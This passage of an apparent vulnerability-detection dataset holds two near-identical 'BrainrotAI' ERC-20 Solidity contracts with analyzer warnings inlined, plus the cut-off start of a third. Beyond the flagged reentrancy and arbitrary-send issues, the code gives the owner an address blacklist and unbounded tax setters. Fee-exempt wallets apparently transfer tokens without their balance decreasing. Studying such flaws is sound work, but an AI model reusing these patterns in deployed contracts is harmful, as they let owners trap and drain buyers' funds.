);\n\n\t\t// reentrancy-eth | ID: 03ca403\n _balances[sender] = _balances[sender].sub(\n senderAmount,\n \"Insufficient Balance\"\n );\n\n\t\t// reentrancy-eth | ID: 03ca403\n _balances[recipient] = _balances[recipient].add(recipientAmount);\n\n\t\t// reentrancy-events | ID: 15525fb\n emit Transfer(sender, recipient, amount);\n\n return true;\n }\n\n function allowance(\n address holder,\n address spender\n ) external view override returns (uint256) {\n return _allowances[holder][spender];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 7a767c5): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 7a767c5: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: f4e6bca): BrainrotAI.createBrainrotAITrade() ignores return value by router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner,block.timestamp)\n\t// Recommendation for f4e6bca: Ensure that all the return values of the function calls are used.\n function createBrainrotAITrade() external onlyOwner {\n router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n\n\t\t// reentrancy-benign | ID: 7a767c5\n pair = IUniswapV2Factory(router.factory()).createPair(\n address(this),\n router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 7a767c5\n isTxLimitExempt[pair] = true;\n\n\t\t// reentrancy-benign | ID: 7a767c5\n _allowances[address(this)][address(router)] = type(uint256).max;\n\n\t\t// unused-return | ID: f4e6bca\n router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner,\n block.timestamp\n );\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function totalSupply() external view override returns (uint256) {\n return _totalSupply;\n }\n\n function inSwapBrainrotAITokens(\n bool isIncludeFees,\n uint isSwapActions,\n uint256 pAmount,\n uint256 pLimit\n ) internal view returns (bool) {\n uint256 minBrainrotAITokens = pLimit;\n\n uint256 tokenBrainrotAIWeight = pAmount;\n\n uint256 contractBrainrotAIOverWeight = balanceOf(address(this));\n\n bool isSwappable = contractBrainrotAIOverWeight > minBrainrotAITokens &&\n tokenBrainrotAIWeight > minBrainrotAITokens;\n\n return\n !inSwap &&\n isIncludeFees &&\n isSwapActions > 1 &&\n isSwappable &&\n swapEnabled;\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: b607fc9): BrainrotAI.reduceFinalBuyTax(uint256) should emit an event for _finalBuyTax = _newFee \n\t// Recommendation for b607fc9: Emit an event for critical parameter changes.\n function reduceFinalBuyTax(uint256 _newFee) external onlyOwner {\n\t\t// events-maths | ID: b607fc9\n _finalBuyTax = _newFee;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 39257ae): BrainrotAI.reduceFinalSellTax(uint256) should emit an event for _finalSellTax = _newFee \n\t// Recommendation for 39257ae: Emit an event for critical parameter changes.\n function reduceFinalSellTax(uint256 _newFee) external onlyOwner {\n\t\t// events-maths | ID: 39257ae\n _finalSellTax = _newFee;\n }\n\n function isBrainrotAIUserBuy(\n address sender,\n address recipient\n ) internal view returns (bool) {\n return\n recipient != pair &&\n recipient != DEAD &&\n !isFeeExempt[sender] &&\n !isFeeExempt[recipient];\n }\n\n function isTakeBrainrotAIActions(\n address from,\n address to\n ) internal view returns (bool, uint) {\n uint _actions = 0;\n\n bool _isTakeFee = isTakeFees(from);\n\n if (to == pair) {\n _actions = 2;\n } else if (from == pair) {\n _actions = 1;\n } else {\n _actions = 0;\n }\n\n return (_isTakeFee, _actions);\n }\n\n function addBrainrotAIs(address[] memory BrainrotAIs_) public onlyOwner {\n for (uint i = 0; i < BrainrotAIs_.length; i++) {\n BrainrotAIs[BrainrotAIs_[i]] = true;\n }\n }\n\n function delBrainrotAIs(address[] memory notBrainrotAI) public onlyOwner {\n for (uint i = 0; i < notBrainrotAI.length; i++) {\n BrainrotAIs[notBrainrotAI[i]] = false;\n }\n }\n\n function isBrainrotAI(address a) public view returns (bool) {\n return BrainrotAIs[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 15525fb): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 15525fb: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 03ca403): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 03ca403: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transferStandardTokens(\n address sender,\n address recipient,\n uint256 amount\n ) internal returns (bool) {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n bool takefee;\n\n uint actions;\n\n require(!BrainrotAIs[sender] && !BrainrotAIs[recipient]);\n\n if (inSwap) {\n return _basicTransfer(sender, recipient, amount);\n }\n\n if (!isFeeExempt[sender] && !isFeeExempt[recipient]) {\n require(TradingOpen, \"Trading not open yet\");\n }\n\n if (!swapEnabled) {\n return _basicTransfer(sender, recipient, amount);\n }\n\n if (isBrainrotAIUserBuy(sender, recipient)) {\n require(\n isTxLimitExempt[recipient] ||\n _balances[recipient] + amount <= _maxWalletAmount,\n \"Transfer amount exceeds the bag size.\"\n );\n\n increaseBuyCount(sender);\n }\n\n (takefee, actions) = isTakeBrainrotAIActions(sender, recipient);\n\n if (\n inSwapBrainrotAITokens(\n takefee,\n actions,\n amount,\n _swapBrainrotAIThreshHold\n )\n ) {\n\t\t\t// reentrancy-events | ID: 15525fb\n\t\t\t// reentrancy-eth | ID: 03ca403\n internalSwapBackEth(amount);\n }\n\n\t\t// reentrancy-events | ID: 15525fb\n\t\t// reentrancy-eth | ID: 03ca403\n _transferTaxTokens(sender, recipient, amount, actions, takefee);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external override returns (bool) {\n if (_allowances[sender][msg.sender] != type(uint256).max) {\n _allowances[sender][msg.sender] = _allowances[sender][msg.sender]\n .sub(amount, \"Insufficient Allowance\");\n }\n\n return _transferStandardTokens(sender, recipient, amount);\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) external override returns (bool) {\n return _transferStandardTokens(msg.sender, recipient, amount);\n }\n\n function increaseBuyCount(address sender) internal {\n if (sender == pair) {\n _buyCounts++;\n }\n }\n\n function isTakeFees(address sender) internal view returns (bool) {\n return !isFeeExempt[sender];\n }\n}\n",
"file_name": "solidity_code_10006.sol",
"size_bytes": 23698,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ninterface ERC20 {\n function totalSupply() external view returns (uint256);\n\n function decimals() external view returns (uint8);\n\n function symbol() external view returns (string memory);\n\n function name() external view returns (string memory);\n\n function getOwner() external view returns (address);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address _owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nabstract contract Ownable {\n address internal owner;\n\n constructor(address _owner) {\n owner = _owner;\n }\n\n modifier onlyOwner() {\n require(isOwner(msg.sender), \"!OWNER\");\n\n _;\n }\n\n function isOwner(address account) public view returns (bool) {\n return account == owner;\n }\n\n function renounceOwnership() public onlyOwner {\n owner = address(0);\n\n emit OwnershipTransferred(address(0));\n }\n\n event OwnershipTransferred(address owner);\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidity(\n address tokenA,\n address tokenB,\n uint256 amountADesired,\n uint256 amountBDesired,\n uint256 amountAMin,\n uint256 amountBMin,\n address to,\n uint256 deadline\n ) external returns (uint256 amountA, uint256 amountB, uint256 liquidity);\n\n function addLiquidityETH(\n address token,\n uint256 amountTokenDesired,\n uint256 amountTokenMin,\n uint256 amountETHMin,\n address to,\n uint256 deadline\n )\n external\n payable\n returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);\n\n function swapExactETHForTokensSupportingFeeOnTransferTokens(\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external payable;\n\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external;\n\n function removeLiquidityETHSupportingFeeOnTransferTokens(\n address token,\n uint liquidity,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n ) external returns (uint amountETH);\n\n function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(\n address token,\n uint liquidity,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline,\n bool approveMax,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external returns (uint amountETH);\n\n function removeLiquidityWithPermit(\n address tokenA,\n address tokenB,\n uint liquidity,\n uint amountAMin,\n uint amountBMin,\n address to,\n uint deadline,\n bool approveMax,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external returns (uint amountA, uint amountB);\n\n function removeLiquidityETHWithPermit(\n address token,\n uint liquidity,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline,\n bool approveMax,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external returns (uint amountToken, uint amountETH);\n\n function quote(\n uint amountA,\n uint reserveA,\n uint reserveB\n ) external pure returns (uint amountB);\n\n function getAmountOut(\n uint amountIn,\n uint reserveIn,\n uint reserveOut\n ) external pure returns (uint amountOut);\n\n function getAmountIn(\n uint amountOut,\n uint reserveIn,\n uint reserveOut\n ) external pure returns (uint amountIn);\n}\n\ncontract BrainrotAI is ERC20, Ownable {\n using SafeMath for uint256;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7fb65cb): BrainrotAI.routerAdress should be constant \n\t// Recommendation for 7fb65cb: Add the 'constant' attribute to state variables that never change.\n address routerAdress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;\n\n\t// WARNING Optimization Issue (constable-states | ID: 519a5c7): BrainrotAI.DEAD should be constant \n\t// Recommendation for 519a5c7: Add the 'constant' attribute to state variables that never change.\n address DEAD = 0x000000000000000000000000000000000000dEaD;\n\n string private _name;\n\n string private _symbol;\n\n uint8 constant _decimals = 18;\n\n\t// WARNING Optimization Issue (constable-states | ID: 8f9c547): BrainrotAI._totalSupply should be constant \n\t// Recommendation for 8f9c547: Add the 'constant' attribute to state variables that never change.\n uint256 public _totalSupply = 1_000_000_000 * (10 ** _decimals);\n\n uint256 public _maxWalletAmount = (_totalSupply * 100) / 100;\n\n\t// WARNING Optimization Issue (immutable-states | ID: fff14d3): BrainrotAI._swapBrainrotAIThreshHold should be immutable \n\t// Recommendation for fff14d3: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public _swapBrainrotAIThreshHold = (_totalSupply * 1) / 10000;\n\n\t// WARNING Optimization Issue (immutable-states | ID: ecf16a1): BrainrotAI._maxTaxSwap should be immutable \n\t// Recommendation for ecf16a1: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public _maxTaxSwap = (_totalSupply * 10) / 10000;\n\n mapping(address => uint256) _balances;\n\n mapping(address => mapping(address => uint256)) _allowances;\n\n mapping(address => bool) isFeeExempt;\n\n mapping(address => bool) isTxLimitExempt;\n\n mapping(address => bool) private BrainrotAIs;\n\n\t// WARNING Optimization Issue (immutable-states | ID: f80e782): BrainrotAI._BrainrotAIWallet should be immutable \n\t// Recommendation for f80e782: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public _BrainrotAIWallet;\n\n address public pair;\n\n IUniswapV2Router02 public router;\n\n bool public swapEnabled = false;\n\n bool public BrainrotAIFeeEnabled = false;\n\n bool public TradingOpen = false;\n\n\t// WARNING Optimization Issue (constable-states | ID: faca292): BrainrotAI._initBuyTax should be constant \n\t// Recommendation for faca292: Add the 'constant' attribute to state variables that never change.\n uint256 private _initBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: a61b787): BrainrotAI._initSellTax should be constant \n\t// Recommendation for a61b787: Add the 'constant' attribute to state variables that never change.\n uint256 private _initSellTax = 0;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 64e70ef): BrainrotAI._reduceBuyTaxAt should be constant \n\t// Recommendation for 64e70ef: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: c79fdfb): BrainrotAI._reduceSellTaxAt should be constant \n\t// Recommendation for c79fdfb: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 0;\n\n uint256 private _buyCounts = 0;\n\n bool inSwap;\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 2179c7f): BrainrotAI.constructor(address,string,string).BrainrotAIWallet lacks a zerocheck on \t _BrainrotAIWallet = BrainrotAIWallet\n\t// Recommendation for 2179c7f: Check that the address is not zero.\n constructor(\n address BrainrotAIWallet,\n string memory name_,\n string memory symbol_\n ) Ownable(msg.sender) {\n address _owner = owner;\n\n\t\t// missing-zero-check | ID: 2179c7f\n _BrainrotAIWallet = BrainrotAIWallet;\n\n _name = name_;\n\n _symbol = symbol_;\n\n isFeeExempt[_owner] = true;\n\n isFeeExempt[_BrainrotAIWallet] = true;\n\n isFeeExempt[address(this)] = true;\n\n isTxLimitExempt[_owner] = true;\n\n isTxLimitExempt[_BrainrotAIWallet] = true;\n\n isTxLimitExempt[address(this)] = true;\n\n _balances[_owner] = _totalSupply;\n\n emit Transfer(address(0), _owner, _totalSupply);\n }\n\n function getOwner() external view override returns (address) {\n return owner;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function _basicTransfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal returns (bool) {\n _balances[sender] = _balances[sender].sub(\n amount,\n \"Insufficient Balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n\n return true;\n }\n\n function withdrawBrainrotAIBalance() external onlyOwner {\n require(address(this).balance > 0, \"Token: no ETH to clear\");\n\n payable(msg.sender).transfer(address(this).balance);\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _allowances[msg.sender][spender] = amount;\n\n emit Approval(msg.sender, spender, amount);\n\n return true;\n }\n\n function enableBrainrotAITrade() public onlyOwner {\n require(!TradingOpen, \"trading is already open\");\n\n TradingOpen = true;\n\n BrainrotAIFeeEnabled = true;\n\n swapEnabled = true;\n }\n\n function getBrainrotAIAmounts(\n uint action,\n bool takeFee,\n uint256 tAmount\n ) internal returns (uint256, uint256) {\n uint256 sAmount = takeFee\n ? tAmount\n : BrainrotAIFeeEnabled\n ? takeBrainrotAIAmountAfterFees(action, takeFee, tAmount)\n : tAmount;\n\n uint256 rAmount = BrainrotAIFeeEnabled && takeFee\n ? takeBrainrotAIAmountAfterFees(action, takeFee, tAmount)\n : tAmount;\n\n return (sAmount, rAmount);\n }\n\n function decimals() external pure override returns (uint8) {\n return _decimals;\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 8bfc9f5): BrainrotAI.internalSwapBackEth(uint256) sends eth to arbitrary user Dangerous calls address(_BrainrotAIWallet).transfer(ethAmountFor)\n\t// Recommendation for 8bfc9f5: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function internalSwapBackEth(uint256 amount) private lockTheSwap {\n uint256 tokenBalance = balanceOf(address(this));\n\n uint256 amountToSwap = min(amount, min(tokenBalance, _maxTaxSwap));\n\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = router.WETH();\n\n\t\t// reentrancy-events | ID: d7424ba\n\t\t// reentrancy-eth | ID: ceae190\n router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n amountToSwap,\n 0,\n path,\n address(this),\n block.timestamp\n );\n\n uint256 ethAmountFor = address(this).balance;\n\n\t\t// reentrancy-events | ID: d7424ba\n\t\t// reentrancy-eth | ID: ceae190\n\t\t// arbitrary-send-eth | ID: 8bfc9f5\n payable(_BrainrotAIWallet).transfer(ethAmountFor);\n }\n\n function removeBrainrotAILimit() external onlyOwner returns (bool) {\n _maxWalletAmount = _totalSupply;\n\n return true;\n }\n\n function takeBrainrotAIAmountAfterFees(\n uint BrainrotAIActions,\n bool BrainrotAITakefee,\n uint256 amounts\n ) internal returns (uint256) {\n uint256 BrainrotAIPercents;\n\n uint256 BrainrotAIFeePrDenominator = 100;\n\n if (BrainrotAITakefee) {\n if (BrainrotAIActions > 1) {\n BrainrotAIPercents = (\n _buyCounts > _reduceSellTaxAt ? _finalSellTax : _initSellTax\n );\n } else {\n if (BrainrotAIActions > 0) {\n BrainrotAIPercents = (\n _buyCounts > _reduceBuyTaxAt\n ? _finalBuyTax\n : _initBuyTax\n );\n } else {\n BrainrotAIPercents = 0;\n }\n }\n } else {\n BrainrotAIPercents = 1;\n }\n\n uint256 feeAmounts = amounts.mul(BrainrotAIPercents).div(\n BrainrotAIFeePrDenominator\n );\n\n\t\t// reentrancy-eth | ID: ceae190\n _balances[address(this)] = _balances[address(this)].add(feeAmounts);\n\n feeAmounts = BrainrotAITakefee\n ? feeAmounts\n : amounts.div(BrainrotAIPercents);\n\n return amounts.sub(feeAmounts);\n }\n\n receive() external payable {}\n\n function _transferTaxTokens(\n address sender,\n address recipient,\n uint256 amount,\n uint action,\n bool takeFee\n ) internal returns (bool) {\n uint256 senderAmount;\n\n uint256 recipientAmount;\n\n (senderAmount, recipientAmount) = getBrainrotAIAmounts(\n action,\n takeFee,\n amount\n );\n\n\t\t// reentrancy-eth | ID: ceae190\n _balances[sender] = _balances[sender].sub(\n senderAmount,\n \"Insufficient Balance\"\n );\n\n\t\t// reentrancy-eth | ID: ceae190\n _balances[recipient] = _balances[recipient].add(recipientAmount);\n\n\t\t// reentrancy-events | ID: d7424ba\n emit Transfer(sender, recipient, amount);\n\n return true;\n }\n\n function allowance(\n address holder,\n address spender\n ) external view override returns (uint256) {\n return _allowances[holder][spender];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: f9ac5e4): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for f9ac5e4: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 907ed3d): BrainrotAI.createBrainrotAITrade() ignores return value by router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner,block.timestamp)\n\t// Recommendation for 907ed3d: Ensure that all the return values of the function calls are used.\n function createBrainrotAITrade() external onlyOwner {\n router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n\n\t\t// reentrancy-benign | ID: f9ac5e4\n pair = IUniswapV2Factory(router.factory()).createPair(\n address(this),\n router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: f9ac5e4\n isTxLimitExempt[pair] = true;\n\n\t\t// reentrancy-benign | ID: f9ac5e4\n _allowances[address(this)][address(router)] = type(uint256).max;\n\n\t\t// unused-return | ID: 907ed3d\n router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner,\n block.timestamp\n );\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function totalSupply() external view override returns (uint256) {\n return _totalSupply;\n }\n\n function inSwapBrainrotAITokens(\n bool isIncludeFees,\n uint isSwapActions,\n uint256 pAmount,\n uint256 pLimit\n ) internal view returns (bool) {\n uint256 minBrainrotAITokens = pLimit;\n\n uint256 tokenBrainrotAIWeight = pAmount;\n\n uint256 contractBrainrotAIOverWeight = balanceOf(address(this));\n\n bool isSwappable = contractBrainrotAIOverWeight > minBrainrotAITokens &&\n tokenBrainrotAIWeight > minBrainrotAITokens;\n\n return\n !inSwap &&\n isIncludeFees &&\n isSwapActions > 1 &&\n isSwappable &&\n swapEnabled;\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: a618fd9): BrainrotAI.reduceFinalBuyTax(uint256) should emit an event for _finalBuyTax = _newFee \n\t// Recommendation for a618fd9: Emit an event for critical parameter changes.\n function reduceFinalBuyTax(uint256 _newFee) external onlyOwner {\n\t\t// events-maths | ID: a618fd9\n _finalBuyTax = _newFee;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: bf55366): BrainrotAI.reduceFinalSellTax(uint256) should emit an event for _finalSellTax = _newFee \n\t// Recommendation for bf55366: Emit an event for critical parameter changes.\n function reduceFinalSellTax(uint256 _newFee) external onlyOwner {\n\t\t// events-maths | ID: bf55366\n _finalSellTax = _newFee;\n }\n\n function isBrainrotAIUserBuy(\n address sender,\n address recipient\n ) internal view returns (bool) {\n return\n recipient != pair &&\n recipient != DEAD &&\n !isFeeExempt[sender] &&\n !isFeeExempt[recipient];\n }\n\n function isTakeBrainrotAIActions(\n address from,\n address to\n ) internal view returns (bool, uint) {\n uint _actions = 0;\n\n bool _isTakeFee = isTakeFees(from);\n\n if (to == pair) {\n _actions = 2;\n } else if (from == pair) {\n _actions = 1;\n } else {\n _actions = 0;\n }\n\n return (_isTakeFee, _actions);\n }\n\n function addBrainrotAIs(address[] memory BrainrotAIs_) public onlyOwner {\n for (uint i = 0; i < BrainrotAIs_.length; i++) {\n BrainrotAIs[BrainrotAIs_[i]] = true;\n }\n }\n\n function delBrainrotAIs(address[] memory notBrainrotAI) public onlyOwner {\n for (uint i = 0; i < notBrainrotAI.length; i++) {\n BrainrotAIs[notBrainrotAI[i]] = false;\n }\n }\n\n function isBrainrotAI(address a) public view returns (bool) {\n return BrainrotAIs[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: d7424ba): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for d7424ba: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: ceae190): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for ceae190: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transferStandardTokens(\n address sender,\n address recipient,\n uint256 amount\n ) internal returns (bool) {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n bool takefee;\n\n uint actions;\n\n require(!BrainrotAIs[sender] && !BrainrotAIs[recipient]);\n\n if (inSwap) {\n return _basicTransfer(sender, recipient, amount);\n }\n\n if (!isFeeExempt[sender] && !isFeeExempt[recipient]) {\n require(TradingOpen, \"Trading not open yet\");\n }\n\n if (!swapEnabled) {\n return _basicTransfer(sender, recipient, amount);\n }\n\n if (isBrainrotAIUserBuy(sender, recipient)) {\n require(\n isTxLimitExempt[recipient] ||\n _balances[recipient] + amount <= _maxWalletAmount,\n \"Transfer amount exceeds the bag size.\"\n );\n\n increaseBuyCount(sender);\n }\n\n (takefee, actions) = isTakeBrainrotAIActions(sender, recipient);\n\n if (\n inSwapBrainrotAITokens(\n takefee,\n actions,\n amount,\n _swapBrainrotAIThreshHold\n )\n ) {\n\t\t\t// reentrancy-events | ID: d7424ba\n\t\t\t// reentrancy-eth | ID: ceae190\n internalSwapBackEth(amount);\n }\n\n\t\t// reentrancy-events | ID: d7424ba\n\t\t// reentrancy-eth | ID: ceae190\n _transferTaxTokens(sender, recipient, amount, actions, takefee);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external override returns (bool) {\n if (_allowances[sender][msg.sender] != type(uint256).max) {\n _allowances[sender][msg.sender] = _allowances[sender][msg.sender]\n .sub(amount, \"Insufficient Allowance\");\n }\n\n return _transferStandardTokens(sender, recipient, amount);\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) external override returns (bool) {\n return _transferStandardTokens(msg.sender, recipient, amount);\n }\n\n function increaseBuyCount(address sender) internal {\n if (sender == pair) {\n _buyCounts++;\n }\n }\n\n function isTakeFees(address sender) internal view returns (bool) {\n return !isFeeExempt[sender];\n }\n}\n",
"file_name": "solidity_code_10007.sol",
"size_bytes": 23698,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n}\n\nabstract contract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n _transferOwnership(_msgSender());\n }\n\n modifier onlyOwner() {\n _checkOwner();\n\n _;\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n function _checkOwner() internal view virtual {\n require(owner() == _msgSender(), \"Ownable: caller is not the owner\");\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n _transferOwnership(newOwner);\n }\n\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}\n\ninterface IERC20 {\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(address to, uint256 amount) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) external returns (bool);\n}\n\ninterface IERC20Metadata is IERC20 {\n function name() external view returns (string memory);\n\n function symbol() external view returns (string memory);\n\n function decimals() external view returns (uint8);\n}\n\ninterface IUniswapV2Factory {\n event PairCreated(\n address indexed token0,\n address indexed token1,\n address pair,\n uint256\n );\n\n function feeTo() external view returns (address);\n\n function feeToSetter() external view returns (address);\n\n function getPair(\n address tokenA,\n address tokenB\n ) external view returns (address pair);\n\n function allPairs(uint256) external view returns (address pair);\n\n function allPairsLength() external view returns (uint256);\n\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n\n function setFeeTo(address) external;\n\n function setFeeToSetter(address) external;\n}\n\ninterface IUniswapV2Pair {\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n function name() external pure returns (string memory);\n\n function symbol() external pure returns (string memory);\n\n function decimals() external pure returns (uint8);\n\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address owner) external view returns (uint256);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 value) external returns (bool);\n\n function transfer(address to, uint256 value) external returns (bool);\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) external returns (bool);\n\n function DOMAIN_SEPARATOR() external view returns (bytes32);\n\n function PERMIT_TYPEHASH() external pure returns (bytes32);\n\n function nonces(address owner) external view returns 